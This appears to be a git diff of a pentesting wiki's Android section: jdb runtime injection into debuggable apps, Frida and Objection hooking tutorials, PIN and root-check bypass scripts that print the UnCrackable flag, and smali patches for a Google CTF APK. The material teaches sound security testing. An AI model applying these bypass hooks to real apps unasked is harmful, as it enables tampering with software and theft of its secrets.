-![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack1.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack1.png) Figure 1 @@ -24,71 +24,68 @@ If we click the button, it says “**Try Again**“. Now, our goal is to change * Emulator * adb – Android Debug Bridge -* jdb – Java Debugger +* jdb – Java Debugger - In my case, to make the installations easier, I am using Android Tamer since all the above required tools are pre-installed. + In my case, to make the installations easier, I am using Android Tamer since all the above required tools are pre-installed. - **Topics Involved** + **Topics Involved** - * Checking for Vulnerability. - * Getting Ready with the Setup. - * Runtime Code Injection. + * Checking for Vulnerability. + * Getting Ready with the Setup. + * Runtime Code Injection. - Let’s begin the game. + Let’s begin the game. - **Checking for Vulnerability** + **Checking for Vulnerability** - In fact, this is the easiest part of the entire article. + In fact, this is the easiest part of the entire article. - 1. Decompile the application using APKTOOL to get the AndroidManifest.xml file using the following command. + 1\. Decompile the application using APKTOOL to get the AndroidManifest.xml file using the following command. - apktool d <vulnerableapp>.apk + apktool d \.apk - 2. Inspect Androidmanifest.xml file for the following line. + 2\. Inspect Androidmanifest.xml file for the following line. - android:debuggable=”true” + android:debuggable=”true” - If you find the above line in the AndroidManifest.xml file, the application is debuggable and it can be exploited. + If you find the above line in the AndroidManifest.xml file, the application is debuggable and it can be exploited. - **Note:** We used APKTOOL to see whether the app is debuggable or not. We won’t touch or modify any piece of code as mentioned earlier. + **Note:** We used APKTOOL to see whether the app is debuggable or not. We won’t touch or modify any piece of code as mentioned earlier. - **Getting Ready with the Setup** + **Getting Ready with the Setup** - In this step, we will set up all the required things to inject code in to the app during its execution. As mentioned in the previous article, we will use remote debugging in this article. + In this step, we will set up all the required things to inject code in to the app during its execution. As mentioned in the previous article, we will use remote debugging in this article. 1. Start Your Emulator 2. Install the vulnerable application -3. Open up your terminal and run the following command to see the Dalvik VM ports listening on the emulator. +3. Open up your terminal and run the following command to see the Dalvik VM ports listening on the emulator. - _**adb jdwp**_ + _**adb jdwp**_ - The above command displays all the ports on which we can connect and debug as shown below. + The above command displays all the ports on which we can connect and debug as shown below. - ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack2.png) + ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack2.png) - Figure 2 + Figure 2 - **Note:** JDWP stands for Java Debug Wire Protocol. If an application running in its VM is debuggable, it exposes a unique port on which we can connect to it using JDB. This is possible in Dalvik Virtual Machines with the support of JDWP. + **Note:** JDWP stands for Java Debug Wire Protocol. If an application running in its VM is debuggable, it exposes a unique port on which we can connect to it using JDB. This is possible in Dalvik Virtual Machines with the support of JDWP. +4. Now, launch our target application and run the same command to see the listening port associated with our target application. It looks as shown below. -4. Now, launch our target application and run the same command to see the listening port associated with our target application. It looks as shown below. + ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack3.png) - ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack3.png) + Figure 2 - Figure 2 + If we observe the difference between Figure 2 and Figure 3, there is one extra port 543 listening after launching the target application in Figure 3. We will attach JDB to the application using this port, since this is our target. +5. Before attaching to the application, we need to port forward using adb since we are using remote debugging. This is shown in Figure 4. - If we observe the difference between Figure 2 and Figure 3, there is one extra port 543 listening after launching the target application in Figure 3. We will attach JDB to the application using this port, since this is our target. + ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack4.png) -5. Before attaching to the application, we need to port forward using adb since we are using remote debugging. This is shown in Figure 4. + Figure 4 +6. Now, let’s attach JDB to the application as shown in the following figure. - ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack4.png) + ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack5.png) - Figure 4 - -6. Now, let’s attach JDB to the application as shown in the following figure. - - ![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack5.png) - - Figure 5 + Figure 5 **Runtime Code Injection** @@ -98,13 +95,13 @@ To modify the application’s behavior at runtime, we need to set up breakpoints To find the classes: “**classes**” -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack6.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack6.png) Figure 6.1 Since I have too many classes listed, I am listing only a few classes. But if you still scroll down, you will see some interesting user defined classes as shown in the figure below. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack7.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack7.png) Figure 6.2 @@ -114,21 +111,21 @@ Now, let us see the methods associated with MainActivity$1 class using the follo This is shown in figure 7. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack8.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack8.png) Figure 7 Now, let’s set up a breakpoint at onClick method and control the execution of the app as shown in Figure 8. -_**“stop in com.example.debug.MainActivity$1.onClick\(android.view.View\)”**_ +_**“stop in com.example.debug.MainActivity$1.onClick(android.view.View)”**_ -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack9.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack9.png) Figure 8 To hit the breakpoint, we will have to manually click the button in the application. Once after clicking the button, the breakpoint will be hit and it appears as shown in Figure 9. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack10.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack10.png) Figure 9 @@ -136,13 +133,13 @@ From here onwards, we will be able to control and see the sensitive values, meth Just to understand what’s happening in the background, I am following the code associated with the onClick method, which is shown in Figure 10. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack11.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack11.png) Figure 10 Before proceeding further, let’s see if there are any local variables at this point in time using the command “**locals**“. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack12.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack12.png) Figure 11 @@ -150,13 +147,13 @@ As we can see, there is no interesting information for us. So, let’s execute the next line using the “**next**” command as shown below. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack13.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack13.png) Figure 12 Let’s again try executing the command “**locals**” to see what happened in the previous command. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack14.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack14.png) Figure 13 @@ -164,7 +161,7 @@ It’s pretty clear that TextView has been loaded into method arguments. If we l Let’s now execute the next lines by executing the “**next**” command, and check the local variables as shown in the figure below. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack15.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack15.png) Figure 14 @@ -172,19 +169,19 @@ As we can see, all the local variables have been displayed. The string “**secr From Figure 10, it is very clear that the method **setText** is getting executed to print the value “**Try Again**“. So, let’s use the “**step**” command to get into the definition of the “**setText**” method and dynamically modify the text to be printed. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack16.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack16.png) Figure 15 Let’s see the local variables inside the definition using “**locals**“. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack17.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack17.png) Figure 16 Now, let’s change the value of “**text**” from “**Try Again**” to “**Hacked**” using “**set**” command. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack18.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack18.png) Figure 17 @@ -192,13 +189,13 @@ We cannot see any changes in the application, since we haven’t executed the mo So, let’s run the application using the “**run**” command as shown below, and see the application’s output on its screen. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack19.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack19.png) Figure 18 Let’s look at the application running in the emulator. -![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314_1204_AndroidHack20.png) +![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/052314\_1204\_AndroidHack20.png) Figure 19 @@ -207,4 +204,3 @@ We have successfully modified the output of the application at runtime. This is **Conclusion** In this article, we have demonstrated how one can exploit an Android application if it is left debuggable when moving it to the production. Pentesters should always look for this vulnerability during their Android app pentests. - diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md index 023969ca..83a55278 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -9,7 +9,7 @@ pip install frida-tools pip install frida ``` -**Download and install** in the android the **frida server** \([Download the latest release](https://github.com/frida/frida/releases)\). +**Download and install** in the android the **frida server** ([Download the latest release](https://github.com/frida/frida/releases)). \ One-liner to restart adb in root mode, connect to it, upload frida-server, give exec permissions and run it in backgroud: ```bash @@ -27,26 +27,26 @@ frida-ps -U | grep -i #Get all the package name ### [Tutorial 1](frida-tutorial-1.md) -**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1) -**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases) +**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) Follow the [link to read it](frida-tutorial-1.md). ### [Tutorial 2](frida-tutorial-2.md) -**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) \(Parts 2, 3 & 4\) +**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) Follow the[ link to read it.](frida-tutorial-2.md) ### [Tutorial 3](owaspuncrackable-1.md) -**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) +**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) -Follow the [link to read it](owaspuncrackable-1.md). -**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re/)\*\*\*\* +Follow the [link to read it](owaspuncrackable-1.md).\ +**You can find some Awesome Frida scripts here: **[**https://codeshare.frida.re/**](https://codeshare.frida.re)**** ## Fast Examples @@ -158,7 +158,7 @@ Hook android `.onCreate()` ### Hooking functions and calling them with our input -Hook a function that receives a string and call it with other string \(from [here](https://11x256.github.io/Frida-hooking-android-part-2/)\) +Hook a function that receives a string and call it with other string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class @@ -176,7 +176,7 @@ my_class.fun.overload("java.lang.String").implementation = function(x){ //hookin If you want to extract some attribute of a created object you can use this. -In this example you are going to see how to get the object of the class my\_activity and how to call the function .secret\(\) that will print a private attribute of the object: +In this example you are going to see how to get the object of the class my_activity and how to call the function .secret() that will print a private attribute of the object: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity" , { @@ -187,4 +187,3 @@ Java.choose("com.example.a11x256.frida_test.my_activity" , { onComplete:function(){} }); ``` - diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index c63d00a0..fbc630bf 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -1,7 +1,7 @@ # Frida Tutorial 1 -**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1) -**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases) +**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) ## Python @@ -31,13 +31,13 @@ python hooking.py It is useful to know how to use python with frida, but for this examples you could also call directly Frida using command line frida tools: -```text +``` frida -U --no-pause -l hookN.js -f infosecadventures.fridademo ``` ## Hook 1 - Boolean Bypass -Here you can see how to **hook** a **boolean** method \(_checkPin_\) from the class: _infosecadventures.fridademo.utils.PinUtil_ +Here you can see how to **hook** a **boolean** method (_checkPin_) from the class: _infosecadventures.fridademo.utils.PinUtil_ ```javascript //hook1.js @@ -51,7 +51,7 @@ Java.perform(function() { }); ``` -```text +``` python hooking.py hook1.js ``` @@ -61,7 +61,7 @@ Mirar: La funcion recibe como parametro un String, no hace falta overload? ### Non-Static Function -If you want to call a non-static function of a class, you **first need a instance** of that class. Then, you can use that instance to call the function. +If you want to call a non-static function of a class, you **first need a instance** of that class. Then, you can use that instance to call the function.\ To do so, you could **find and existing instance** and use it: ```javascript @@ -125,7 +125,6 @@ Java.perform(function() { ## Important -In this tutorial you have hooked methods using the name of the mathod and _.implementation_. But if there were **more than one method** with the same name, you will need to **specify the method** that you want to hook **indicating the type of the arguments**. +In this tutorial you have hooked methods using the name of the mathod and _.implementation_. But if there were** more than one method **with the same name, you will need to **specify the method** that you want to hook** indicating the type of the arguments**. You can see that in [the next tutorial](frida-tutorial-2.md). - diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index a67f2147..ca1c625b 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -6,7 +6,7 @@ **objection - Runtime Mobile Exploration** -`objection` is a runtime mobile exploration toolkit, powered by [Frida](https://www.frida.re/). It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device. +`objection` is a runtime mobile exploration toolkit, powered by [Frida](https://www.frida.re). It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device. **Note:** This is not some form of jailbreak / root bypass. By using `objection`, you are still limited by all of the restrictions imposed by the applicable sandbox you are facing. @@ -20,21 +20,21 @@ For this tutorial I am going to use the APK that you can download here: {% file src="../../../.gitbook/assets/app-release.zip" %} -Or from its [original repository ](https://github.com/asvid/FridaApp)\(download app-release.apk\) +Or from its [original repository ](https://github.com/asvid/FridaApp)(download app-release.apk) ### Installation -```text +``` pip3 install objection ``` ### Connection -Make a **regular ADB conection** and **start** the **frida** server in the device \(and check that frida is working in both the client and the server\). +Make a **regular ADB conection** and **start** the **frida** server in the device (and check that frida is working in both the client and the server). If you are using a **rooted device** it is needed to select the application that you want to test inside the _**--gadget**_ option. in this case: -```text +``` objection --gadget asvid.github.io.fridaapp explore ``` @@ -44,21 +44,21 @@ Not all possible commands of objections are going to be listed in this tutorial, #### Environment -Some interesting information \(like passwords or paths\) could be find inside the environment. +Some interesting information (like passwords or paths) could be find inside the environment. -```text +``` env ``` -![](../../../.gitbook/assets/image%20%28321%29.png) +![](<../../../.gitbook/assets/image (64).png>) #### Frida Information -```text +``` frida ``` -![](../../../.gitbook/assets/image%20%28326%29.png) +![](<../../../.gitbook/assets/image (65).png>) #### Upload/Download @@ -107,13 +107,13 @@ This is also usefull if somehow you are **unable to get some readable source cod #### List activities, receivers and services -```text +``` android hooking list activities ``` -![](../../../.gitbook/assets/image%20%2866%29.png) +![](<../../../.gitbook/assets/image (78).png>) -```text +``` android hooking list services android hooking list receivers ``` @@ -122,47 +122,47 @@ Frida will launch an error if none is found #### Getting current activity -```text +``` android hooking get current_activity ``` -![](../../../.gitbook/assets/image%20%2878%29.png) +![](<../../../.gitbook/assets/image (73).png>) #### Search Classes Lets start looking for classes inside our application -```text +``` android hooking search classes asvid.github.io.fridaapp ``` -![](../../../.gitbook/assets/image%20%2843%29.png) +![](<../../../.gitbook/assets/image (69).png>) #### Search Methods of a class Now lets extract the methods inside the class _MainActivity:_ -```text +``` android hooking search methods asvid.github.io.fridaapp MainActivity ``` -![](../../../.gitbook/assets/image%20%286%29.png) +![](<../../../.gitbook/assets/image (70).png>) #### List declared Methods of a class with their parameters Lets figure out wich parameters does the methods of the class need: -```text +``` android hooking list class_methods asvid.github.io.fridaapp.MainActivity ``` -![](../../../.gitbook/assets/image%20%28213%29.png) +![](<../../../.gitbook/assets/image (79).png>) #### List classes You could also list all the classes that were loaded inside the current applicatoin: -```text +``` android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. ``` @@ -170,53 +170,53 @@ This is very useful if you want to **hook the method of a class and you only kno ### Hooking being easy -#### Hooking \(watching\) a method +#### Hooking (watching) a method -From the [source code](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) of the application we know that the **function** _**sum\(\)**_ **from** _**MainActivity**_ is being run **every second**. Lets try to **dump all possible information** each time the function is called \(arguments, return value and backtrace\): +From the [source code](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) of the application we know that the **function** _**sum()**_ **from** _**MainActivity**_ is being run **every second**. Lets try to **dump all possible information** each time the function is called (arguments, return value and backtrace): -```text +``` android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return ``` -![](../../../.gitbook/assets/image%20%28310%29.png) +![](<../../../.gitbook/assets/image (71).png>) -#### Hooking \(watching\) an entire class +#### Hooking (watching) an entire class Actually I find all the methods of the class MainActivity really interesting, lets **hook them all**. Be careful, this could **crash** an application. -```text +``` android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return ``` If you play with the application while the class is hooked you will see when **each function is being called**, its **arguments** and the **return** value. -![](../../../.gitbook/assets/image%20%2838%29.png) +![](<../../../.gitbook/assets/image (72).png>) #### Changing boolean return value of a function From the source code you can see that the function _checkPin_ gets a _String_ as argument and returns a _boolean_. Lets make the function **always return true**: -![](../../../.gitbook/assets/image%20%28128%29.png) +![](<../../../.gitbook/assets/image (74).png>) Now, If you write anything in the text box for the PIN code you will see tat anything is valid: -![](../../../.gitbook/assets/image%20%28205%29.png) +![](<../../../.gitbook/assets/image (77).png>) ### Class instances Search for and print **live instances of a specific Java class**, specified by a fully qualified class name. Out is the result of an attempt at getting a string value for a discovered objection which would typically **contain property values for the object**. -```text +``` android heap print_instances ``` -![](../../../.gitbook/assets/image%20%28223%29.png) +![](<../../../.gitbook/assets/image (80).png>) ### Keystore/Intents You can play with the keystore and intents using: -```text +``` android keystore list android intents launch_activity android intent launch_service @@ -233,25 +233,25 @@ memory dump from_base #Dump a #### List -```text +``` memory list modules ``` -![](../../../.gitbook/assets/image%20%28222%29.png) +![](<../../../.gitbook/assets/image (66).png>) At the bottom os the list you can see frida: -![](../../../.gitbook/assets/image%20%2846%29.png) +![](<../../../.gitbook/assets/image (67).png>) Lets checks what is frida exporting: -![](../../../.gitbook/assets/image%20%28113%29.png) +![](<../../../.gitbook/assets/image (68).png>) #### Search/Write You can alse search and write inside memory with objection: -```text +``` memory search "" (--string) (--offsets-only) memory write "
" "" (--string) ``` @@ -262,13 +262,12 @@ You cals can use the command `sqlite` to interact with sqlite databases. ### Exit -```text +``` exit ``` ## What I miss in Objection -* The hooking methods sometimes crashes the application \(this is also because of Frida\). +* The hooking methods sometimes crashes the application (this is also because of Frida). * You can't use the instaces of the classes to call functions of the instance. And you can't create new instances of classes and use them to call functions. -* There isn't a shortcut \(like the one for sslpinnin\) to hook all the common crypto methods being used by the application to see cyphered text, plain text, keys, IVs and algorithms used. - +* There isn't a shortcut (like the one for sslpinnin) to hook all the common crypto methods being used by the application to see cyphered text, plain text, keys, IVs and algorithms used. diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 29c7178b..1f27310f 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -1,13 +1,13 @@ # Frida Tutorial 3 -**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) +**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) ## Solution 1 Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Hook the** _**exit\(\)**_ function and **decrypt function** so it print the flag in frida console when you press verify: +**Hook the **_**exit() **_function and **decrypt function** so it print the flag in frida console when you press verify: ```javascript Java.perform(function () { @@ -50,7 +50,7 @@ Java.perform(function () { Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Hook rootchecks** and decrypt function so it print the flag in frida console when you press verify: +**Hook rootchecks **and decrypt function so it print the flag in frida console when you press verify: ```javascript Java.perform(function () { @@ -107,4 +107,3 @@ Java.perform(function () { send("Hooks installed."); }); ``` - diff --git a/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md index 06373916..e6d06b14 100644 --- a/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md +++ b/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md @@ -2,9 +2,9 @@ Download the APK here: -I am going to upload the APK to [https://appetize.io/](https://appetize.io/) \(free account\) to see how the apk is behaving: +I am going to upload the APK to [https://appetize.io/](https://appetize.io) (free account) to see how the apk is behaving: -![](../../.gitbook/assets/image%20%28322%29.png) +![](<../../.gitbook/assets/image (46).png>) Looks like you need to win 1000000 times to get the flag. @@ -12,57 +12,56 @@ Following the steps from [pentesting Android](./) you can decompile the applicat Reading the java code: -![](../../.gitbook/assets/image%20%28262%29.png) +![](<../../.gitbook/assets/image (47).png>) -It looks like the function that is going print the flag is **m\(\).** +It looks like the function that is going print the flag is **m(). ** ## **Smali changes** -### **Call m\(\) the first time** +### **Call m() the first time** -Lets make the application call m\(\) if the variable _this.o != 1000000_ to do so, just cange the condition: +Lets make the application call m() if the variable _this.o != 1000000_ to do so, just cange the condition: -```text +``` if-ne v0, v9, :cond_2 ``` to: -```text +``` if-eq v0, v9, :cond_2 ``` -![Before](../../.gitbook/assets/image%20%28204%29.png) +![Before](<../../.gitbook/assets/image (48).png>) -![After](../../.gitbook/assets/image%20%28329%29.png) +![After](<../../.gitbook/assets/image (49).png>) -Follow the steps of [pentest Android](./) to recompile and sign the APK. Then, upload it to [https://appetize.io/](https://appetize.io/) and lets see what happens: +Follow the steps of [pentest Android](./) to recompile and sign the APK. Then, upload it to [https://appetize.io/](https://appetize.io) and lets see what happens: -![](../../.gitbook/assets/image%20%28284%29.png) +![](<../../.gitbook/assets/image (50).png>) -Looks like the flag is written without being completely decrypted. Probably the m\(\) function should be called 1000000 times. +Looks like the flag is written without being completely decrypted. Probably the m() function should be called 1000000 times. **Other way** to do this is to not change the instrucction but change the compared instructions: -![](../../.gitbook/assets/image%20%28167%29.png) +![](<../../.gitbook/assets/image (55).png>) **Another way** is instead of comparing with 1000000, set the value to 1 so this.o is compared with 1: -![](../../.gitbook/assets/image%20%2811%29.png) +![](<../../.gitbook/assets/image (57).png>) -A forth way is to add an instruction to move to value of v9\(1000000\) to v0 _\(this.o\)_: +A forth way is to add an instruction to move to value of v9(1000000) to v0 _(this.o)_: -![](../../.gitbook/assets/image%20%28115%29.png) +![](<../../.gitbook/assets/image (58).png>) -![](../../.gitbook/assets/image%20%28238%29.png) +![](<../../.gitbook/assets/image (52).png>) ## Solution -Make the application run the loop 100000 times when you win the first time. To do so, you only need to create the **:goto\_6** loop and make the application **junp there if** _**this.o**_ **does not value 100000**: +Make the application run the loop 100000 times when you win the first time. To do so, you only need to create the** :goto\_6 **loop and make the application **junp there if **_**this.o**_** does not value 100000**: -![](../../.gitbook/assets/image%20%28102%29.png) - -You need to do this inside a physical device as \(I don't know why\) this doesn't work in an emulated device. +![](<../../.gitbook/assets/image (59).png>) +You need to do this inside a physical device as (I don't know why) this doesn't work in an emulated device. diff --git a/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md b/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md index 90ccdd1f..cbc4c19c 100644 --- a/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md +++ b/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md @@ -1,61 +1,60 @@ # Inspeckage Tutorial -**Tutorial copied from** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7)\*\*\*\* +**Tutorial copied from **[**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7)**** -### Install Xposed Framework +### Install Xposed Framework -1. Download Xposed Installer APK from [here](https://forum.xda-developers.com/attachments/xposedinstaller_3-1-5-apk.4393082/) +1. Download Xposed Installer APK from [here](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/) 2. Download Xposed Framework zip from [here](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip) 3. Download Inspeckage v2.4 APK from the github repo [here](https://github.com/ac-pm/Inspeckage/releases) Start the Virtual Device from the menu -![](https://miro.medium.com/max/1000/1*7fprdQrerabZFKpDJSbHuA.png) +![](https://miro.medium.com/max/1000/1\*7fprdQrerabZFKpDJSbHuA.png) Make sure the device is online for adb -![](https://miro.medium.com/max/700/1*Pt3zh1Od9ufQuo66rCge3g.png) +![](https://miro.medium.com/max/700/1\*Pt3zh1Od9ufQuo66rCge3g.png) -Drag and drop the Xposed framework zip file \(`xposed-vXX-sdkXX-x86.zip`\) to your virtual device display to flash the device. +Drag and drop the Xposed framework zip file (`xposed-vXX-sdkXX-x86.zip`) to your virtual device display to flash the device. -Drag and drop Xposed Installer APK \(`XposedInstaller_*.apk`\). This should install and launch _Xposed Installer_ application. At this stage, it will display that the Xposed framework is installed but disabled:![](https://miro.medium.com/max/30/0*0ddJI69QvpxC8rXq.png?q=20) +Drag and drop Xposed Installer APK (`XposedInstaller_*.apk`). This should install and launch _Xposed Installer _application. At this stage, it will display that the Xposed framework is installed but disabled:![](https://miro.medium.com/max/30/0\*0ddJI69QvpxC8rXq.png?q=20) -![](https://miro.medium.com/max/700/0*0ddJI69QvpxC8rXq.png) +![](https://miro.medium.com/max/700/0\*0ddJI69QvpxC8rXq.png) -Reboot the device with `adb reboot` command. **Do not reboot from** _**Xposed Installer**_ **as this will freeze the device.** +Reboot the device with `adb reboot` command. **Do not reboot from **_**Xposed Installer**_** as this will freeze the device.** -![](https://miro.medium.com/max/657/1*V_jl42vdOcJLXvS0riI7Gg.png) +![](https://miro.medium.com/max/657/1\*V_jl42vdOcJLXvS0riI7Gg.png) Launch _Xposed installer_. It should display “Xposed Framework version XX is active” -![](https://miro.medium.com/max/700/0*QUDB2ryUyIWz3nmZ.png) 